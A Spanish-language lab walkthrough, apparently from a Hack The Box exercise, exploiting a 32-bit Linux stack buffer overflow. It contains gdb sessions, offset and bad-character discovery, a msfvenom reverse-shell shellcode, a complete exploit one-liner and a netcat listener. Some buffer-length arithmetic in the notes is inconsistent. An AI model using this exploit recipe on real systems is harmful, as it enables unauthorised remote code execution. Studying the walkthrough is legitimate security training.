💿Buffer Overflow en Linux

Es una vulnerabilidad de seguridad en la que un programa, al escribir datos en un buffer de memoria, sobrepasa los límites del buffer y sobreescribe la memoria, pudiendo, por ejemplo, ejecutar código.

Nota: Este tipo de técnicas son muy invasivas, ya que vamos a sobreescribir la memoria de un buffer y ejecutar una reverse shell, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo

Buffer Overflow en Linux

Nos conectamos por SSH al host

gdb -q leave_msg # O programa que contenga el host
run $(python -c "print '\x55' * 1200")

1. Subir el 1200 hasta que de un error

(gdb) info registers 

eax            0x1	1
ecx            0xffffd6c0	-10560
edx            0xffffd06f	-12177
ebx            0x55555555	1431655765
esp            0xffffcfd0	0xffffcfd0
ebp            0x55555555	0x55555555	# <---- EBP overwritten
esi            0xf7fb5000	-134524928
edi            0x0	0
eip            0x55555555	0x55555555	# <---- EIP overwritten
eflags         0x10286	[ PF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

2. Saber el número exacto en el que da el fallo

Aproximarnos lo máximo que podamos
En el número 2100 falla lo más cercano
Usamos Metasploit Tools para generar un pattern

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7-----SNIP-----0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9

Lo ejecutamos con python en GDB:

(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9'")

info registers
EIP: 0x37714336

Vemos el offset con Metasploit Tools:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336 [*] Exact match at offset 2060

Encontramos el offset en 2060

(gdb) run $(python -c "print '\x55' * 2060 + '\x66' * 4")
(gdb) info proc all

0xfffdc000 0xffffe000    0x22000        0x0 [stack]

3. Determinar la longitud del shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c

Payload size: 68 bytes
Final size of c file: 311 bytes

Longitud del Shellcode

   Buffer = "\x55" * (2064 - 100 - 150 - 4) = 1810
     NOPs = "\x90" * 100
Shellcode = "\x44" * 150
      EIP = "\x66" * 4

(gdb) run $(python -c 'print "\x55" * (2064 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')

(gdb) info registers 0x66666666 #Es correcto

4. Identificar Bad Characters:

htb-student@nixbof32skills:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

echo $CHARS | sed 's/\x/ /g' | wc -w
256

Calcular buffer de nuevo:

Buffer = "\x55" * (2064 - 256 - 4) = 1804
 CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

(gdb) run $(python -c 'print("\x55" * (2064 - 256 - 4) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4)')

(gdb) disas main

Dump of assembler code for function main:
   0x56555582 <+0>: 	lea    ecx,[esp+0x4]
   0x56555586 <+4>: 	and    esp,0xfffffff0
   0x56555589 <+7>: 	push   DWORD PTR [ecx-0x4]
   0x5655558c <+10>:	push   ebp
   0x5655558d <+11>:	mov    ebp,esp
   0x5655558f <+13>:	push   ebx
   0x56555590 <+14>:	push   ecx
   0x56555591 <+15>:	call   0x56555450 <__x86.get_pc_thunk.bx>
   0x56555596 <+20>:	add    ebx,0x1a3e
   0x5655559c <+26>:	mov    eax,ecx
   0x5655559e <+28>:	mov    eax,DWORD PTR [eax+0x4]
   0x565555a1 <+31>:	add    eax,0x4
   0x565555a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x565555a6 <+36>:	sub    esp,0xc
   0x565555a9 <+39>:	push   eax
   0x56555778 <+61>:	call   0x5655568d <leavemsg>	# <---- leavemsg Function
   0x565555af <+45>:	add    esp,0x10
   0x565555b2 <+48>:	sub    esp,0xc
   0x565555b5 <+51>:	lea    eax,[ebx-0x1974]
   0x565555bb <+57>:	push   eax
   0x565555bc <+58>:	call   0x565553e0 <puts@plt>
   0x565555c1 <+63>:	add    esp,0x10
   0x565555c4 <+66>:	mov    eax,0x1
   0x565555c9 <+71>:	lea    esp,[ebp-0x8]
   0x565555cc <+74>:	pop    ecx
   0x565555cd <+75>:	pop    ebx
   0x565555ce <+76>:	pop    ebp
   0x565555cf <+77>:	lea    esp,[ecx-0x4]
   0x565555d2 <+80>:	ret    
End of assembler dump.

5. GDB Breakpoint:

break leavemsg

(gdb) run $(python -c 'print("\x55" * (2064 - 256 - 4) + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4)')

Breakpoint 1, 0x56555691 in leavemsg ()

Hemos alcanzado el breakpoint.

6. Ver el Stack:

(gdb) x/2000xb $esp+500

0xffffd28a:	0xbb	0x69	0x36	0x38	0x36	0x00	0x00	0x00
0xffffd292:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd29a:	0x00	0x2f	0x68	0x6f	0x6d	0x65	0x2f	0x73
0xffffd2a2:	0x74	0x75	0x64	0x65	0x6e	0x74	0x2f	0x62
0xffffd2aa:	0x6f	0x77	0x2f	0x62	0x6f	0x77	0x33	0x32
0xffffd2b2:	0x00    0x55	0x55	0x55	0x55	0x55	0x55	0x55
                      # |---> "\x55" empieza

0xffffd2ba: 0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd2c2: 0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
<SNIP>

Vemos que se sobreescribe el buffer donde terminan los 0x55
Empieza por 0x01 en vez de 0x00, nos mostró un error de null byte ignored

/bin/bash: warning: command substitution: ignored null byte in input

Eliminamos el 0x00 de la ecuación, por lo que será 1 byte menos:

"\x00" eliminado: 256 - 1 = 255 bytes

Ajustamos el buffer de nuevo sin el x00:

Buffer = "\x55" * (2064 - 255 - 4) = 1803
 CHARS = "\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

(gdb) run $(python -c 'print("\x55" * (2064 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4)')

Stack

(gdb) x/2000xb $esp+550

<SNIP>
0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
                                                     # |----| <- "\x09" expected

0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
<SNIP>

Eliminamos también de la ecuación el 0x09 y lo volvemos a enviar:

Notas

Buffer = "\x55" * (2064 - 254 - 4) = 782	

# "\x00" & "\x09" eliminados: 256 - 2 = 254 bytes
 CHARS = "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfd\xfe\xff" 
 
   EIP = "\x66" * 4

(gdb) run $(python -c 'print("\x55" * (2064 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4)')

(gdb) x/2000xb $esp+550

<SNIP>
0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
                                                     # |----| <- "\x0a" expected

0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
<SNIP>

Repetir este proceso hasta que no aparezca ningún null byte 0x00

Código final sin ningún null byte:

(gdb) run $(python -c 'print("\x55" * (2064 - 252 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4)')

Sin ningún null byte

0xffffd690:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd698:	0x55	0x55	0x55	0x55	0x55	0x55	0x01	0x02
                                     # Empiezan los caracteres |----| 
                                     
0xffffd6a0:	0x03	0x04	0x05	0x06	0x07	0x08	0x0b	0x0c
0xffffd6a8:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
0xffffd6b0:	0x15	0x16	0x17	0x18	0x19	0x1a	0x1b	0x1c
0xffffd6b8:	0x1d	0x1e	0x1f	0x21	0x22	0x23	0x24	0x25
0xffffd6c0:	0x26	0x27	0x28	0x29	0x2a	0x2b	0x2c	0x2d
0xffffd6c8:	0x2e	0x2f	0x30	0x31	0x32	0x33	0x34	0x35
0xffffd6d0:	0x36	0x37	0x38	0x39	0x3a	0x3b	0x3c	0x3d
0xffffd6d8:	0x3e	0x3f	0x40	0x41	0x42	0x43	0x44	0x45
0xffffd6e0:	0x46	0x47	0x48	0x49	0x4a	0x4b	0x4c	0x4d
0xffffd6e8:	0x4e	0x4f	0x50	0x51	0x52	0x53	0x54	0x55
0xffffd6f0:	0x56	0x57	0x58	0x59	0x5a	0x5b	0x5c	0x5d
0xffffd6f8:	0x5e	0x5f	0x60	0x61	0x62	0x63	0x64	0x65
0xffffd700:	0x66	0x67	0x68	0x69	0x6a	0x6b	0x6c	0x6d
0xffffd708:	0x6e	0x6f	0x70	0x71	0x72	0x73	0x74	0x75
0xffffd710:	0x76	0x77	0x78	0x79	0x7a	0x7b	0x7c	0x7d
0xffffd718:	0x7e	0x7f	0x80	0x81	0x82	0x83	0x84	0x85
0xffffd720:	0x86	0x87	0x88	0x89	0x8a	0x8b	0x8c	0x8d

Los Bad Characters detectados son:

\x00\x09\x0a\x20 # Son necesarios para generar el shellcode

7. Generando el shellcode:

msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode

cat shellcode

unsigned char buf[] = "\xdb\xc5\xd9\x74\x24\xf4\xbf\xb5\x28\xa8\x8f\x5d\x29\xc9" "\xb1\x12\x31\x7d\x17\x83\xc5\x04\x03\xc8\x3b\x4a\x7a\x03" "\xe7\x7d\x66\x30\x54\xd1\x03\xb4\xd3\x34\x63\xde\x2e\x36" "\x17\x47\x01\x08\xd5\xf7\x28\x0e\x1c\x9f\xd5\xf0\xde\x5e" "\x42\xf3\xde\x1a\xfb\x7a\x3f\x6a\x9d\x2c\x91\xd9\xd1\xce" "\x98\x3c\xd8\x51\xc8\xd6\x8d\x7e\x9e\x4e\x3a\xae\x4f\xec" "\xd3\x39\x6c\xa2\x70\xb3\x92\xf2\x7c\x0e\xd4";

Payload size: 95 bytes 
Final size of c file: 425 bytes

Editarlo en oneliner siguiendo el siguiente esquema:

   Buffer = "\x55" * (2064 - 100 - 95 - 4) = 1873
     NOPs = "\x90" * 100
Shellcode = "\xda\xca\xba\xe4\x11...<SNIP>...\x5a\x22\xa2"
      EIP = "\x66" * 4'

(gdb) run $(python -c 'print("\x55" * (2064 - 100 - 95 - 4) + "\x90" * 100 + "\xdb\xc5\xd9\x74\x24\xf4\xbf\xb5\x28\xa8\x8f\x5d\x29\xc9\xb1\x12\x31\x7d\x17\x83\xc5\x04\x03\xc8\x3b\x4a\x7a\x03\xe7\x7d\x66\x30\x54\xd1\x03\xb4\xd3\x34\x63\xde\x2e\x36\x17\x47\x01\x08\xd5\xf7\x28\x0e\x1c\x9f\xd5\xf0\xde\x5e\x42\xf3\xde\x1a\xfb\x7a\x3f\x6a\x9d\x2c\x91\xd9\xd1\xce\x98\x3c\xd8\x51\xc8\xd6\x8d\x7e\x9e\x4e\x3a\xae\x4f\xec\xd3\x39\x6c\xa2\x70\xb3\x92\xf2\x7c\x0e\xd4" + "\x66" * 4)')

x/2000xb $esp+500 # Vemos el buffer

8. Dirección de memoria donde queremos escribir nuestro payload:

Donde empiezan los 0x90:

0xffffd6bc:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd6c4:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd6cc:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
0xffffd6d4:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x90
# ---- Empezamos a inyectar aquí nuestro shellcode ----
0xffffd6dc:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd6e4:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd6ec:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd6f4:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd6fc:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90

0xffffd6dc -> \xdc\xd6\xff\xff # Empieza a contar de 2 en 2 desde la derecha

Editamos el buffer de nuevo para agregar esta dirección en el EIP:

Notas

   Buffer = "\x55" * (2064 - 100 - 95 - 4) = 1865
     NOPs = "\x90" * 100
Shellcode = "\xdb\xc5\xd9\x74\x24\xf4\xbf\xb5\x28\xa8\x8f\x5d\x29\xc9\xb1\x12\x31\x7d\x17\x83\xc5\x04\x03\xc8\x3b\x4a\x7a\x03\xe7\x7d\x66\x30\x54\xd1\x03\xb4\xd3\x34\x63\xde\x2e\x36\x17\x47\x01\x08\xd5\xf7\x28\x0e\x1c\x9f\xd5\xf0\xde\x5e\x42\xf3\xde\x1a\xfb\x7a\x3f\x6a\x9d\x2c\x91\xd9\xd1\xce\x98\x3c\xd8\x51\xc8\xd6\x8d\x7e\x9e\x4e\x3a\xae\x4f\xec\xd3\x39\x6c\xa2\x70\xb3\x92\xf2\x7c\x0e\xd4"
      EIP = "\xdc\xd6\xff\xff"

9. Exploit final:

En una pestaña

htb-student@nixbof32skills: nc -nlvp 31337

En otra pestaña

